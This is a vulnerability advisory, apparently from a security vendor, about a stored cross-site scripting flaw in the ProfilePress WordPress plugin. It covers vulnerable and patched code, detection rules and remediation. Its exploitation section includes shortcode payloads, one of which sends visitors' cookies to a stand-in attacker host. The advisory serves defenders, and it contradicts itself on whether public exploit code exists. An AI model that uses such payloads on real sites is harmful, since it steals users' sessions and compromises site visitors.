CVE-2024-1806
Executive Summary
CVE-2024-1806 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the ProfilePress WordPress plugin (versions up to and including 4.15.1). This plugin provides paid membership, ecommerce, user registration, login forms, user profiles, and content restriction functionality. The vulnerability exists due to insufficient input sanitization and output escaping on user-supplied attributes within the plugin's shortcodes. An authenticated attacker with at least contributor-level permissions can inject arbitrary web scripts that execute whenever a victim accesses the compromised page. The CVSS score is 6.4 (Medium), with a low EPSS probability (0.0%), indicating low active exploitation at the time of analysis. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin's update channel for a patched version. Since this is a WordPress ecosystem issue, no NPM, PyPI, Go, or Ruby packages are involved.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires contributor-level or above
- User Interaction: None (UI:N)
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. While the vulnerability requires authentication, the low complexity and potential for stored XSS make it a viable target for privilege escalation or phishing campaigns within the WordPress site.
Deep Dive & Mechanics
The vulnerability resides in the ProfilePress plugin's shortcode handling. Shortcodes are parsed by WordPress to render dynamic content. The plugin fails to properly sanitize user-supplied attributes (e.g., [profilepress-* attribute="value"]) before outputting them in the HTML. An attacker with contributor-level access can craft a malicious shortcode attribute containing JavaScript payloads. When the shortcode is rendered, the payload is stored in the page content and executed in the browser of any user viewing that page.
Root Cause: Insufficient input sanitization and output escaping on shortcode attributes. The plugin likely uses add_shortcode() but does not apply esc_attr() or wp_kses() to attribute values before rendering.
Attack Flow:
- Attacker logs in with contributor-level account.
- Attacker creates or edits a post/page and inserts a ProfilePress shortcode with a malicious attribute, e.g.,
[profilepress-login redirect_url="javascript:alert('XSS')"]. - The shortcode is processed and the malicious attribute is stored in the database.
- When any user (including admins) visits the page, the script executes in their browser.
Vulnerable vs. Patched Code
Vulnerable Code (Example):
// In plugin's shortcode handler
function profilepress_shortcode($atts) {
$atts = shortcode_atts(array(
'redirect_url' => '',
), $atts);
// Direct output without escaping
echo '<a href="' . $atts['redirect_url'] . '">Login</a>';
}
Patched Code (Expected):
function profilepress_shortcode($atts) {
$atts = shortcode_atts(array(
'redirect_url' => '',
), $atts);
// Properly escape the attribute
echo '<a href="' . esc_url($atts['redirect_url']) . '">Login</a>';
}
The patched version should use esc_url() for URLs, esc_attr() for general attributes, or wp_kses() for rich content.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with ProfilePress plugin <= 4.15.1
- Contributor-level account or higher
Exploitation Steps:
- Log in as a contributor.
- Create a new post or page.
- Insert a ProfilePress shortcode with a malicious attribute. Example payloads:
[profilepress-login redirect_url="javascript:alert(document.cookie)"][profilepress-register class="\"><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"]
- Publish the post.
- Any user visiting the post will execute the injected script.
No public exploit code is available at this time.
Blue Team (Detection & Hardening)
Detection:
- Monitor for posts/pages containing ProfilePress shortcodes with suspicious attributes (e.g.,
javascript:,onerror=,<script>). - Use the YARA and Sigma rules provided in the Detection Engineering section.
Hardening:
- Disable the ProfilePress plugin until a patch is released.
- Restrict contributor-level permissions to trusted users only.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.
- Use WordPress security plugins that scan for malicious shortcode usage.
Indicators of Compromise (IOCs)
- File Indicators:
- Presence of ProfilePress plugin files in
/wp-content/plugins/wp-user-avatar/
- Presence of ProfilePress plugin files in
- Network Indicators:
- Outbound connections to attacker-controlled domains from WordPress admin pages.
- Log Indicators:
- WordPress post revisions containing JavaScript in shortcode attributes.
- HTTP requests to
/wp-admin/post.phpwith suspiciouspost_contentparameters.
- Database Indicators:
- Rows in
wp_poststable withpost_contentcontaining[profilepress-and<script>orjavascript:.
- Rows in
Detection Engineering
YARA Rule
rule CVE_2024_1806_ProfilePress_XSS {
meta:
description = "Detects stored XSS payloads in ProfilePress shortcode attributes"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-1806"
strings:
$shortcode = /\[profilepress-[a-z_-]+\s+[^\]]*?(?:javascript|on\w+=|<script)/i
$payload = /(?:javascript|on\w+=|<script)/i
condition:
$shortcode and $payload
}
Sigma Rule
title: CVE-2024-1806 ProfilePress Stored XSS Detection
id: 8a3f7c2e-1b4d-4e9f-8c6a-5d2e3f1a0b7c
status: experimental
description: Detects stored XSS attempts via ProfilePress shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "/wp-admin/post.php"
http.body|contains|all:
- "[profilepress-"
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of JavaScript in shortcode attributes (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1806 ProfilePress Stored XSS Payload"; flow:to_server,established; content:"[profilepress-"; http_client_body; nocase; content:"javascript:"; http_client_body; nocase; distance:0; within:500; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the ProfilePress plugin until a patched version is released.
- Review and remove any posts/pages containing suspicious shortcode attributes.
- Audit user roles and remove contributor-level access from untrusted users.
Long-term Fix:
- Apply the vendor patch when available (monitor the plugin's update page).
- Implement input validation and output escaping for all shortcode attributes in custom plugins.
Workarounds:
- Use a WAF to block XSS patterns in POST requests to
wp-admin/post.php. - Add a custom function to your theme's
functions.phpto sanitize shortcode attributes:
add_filter('shortcode_atts_profilepress-login', function($out, $pairs, $atts) {
if (isset($out['redirect_url'])) {
$out['redirect_url'] = esc_url($out['redirect_url']);
}
return $out;
}, 10, 3);
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.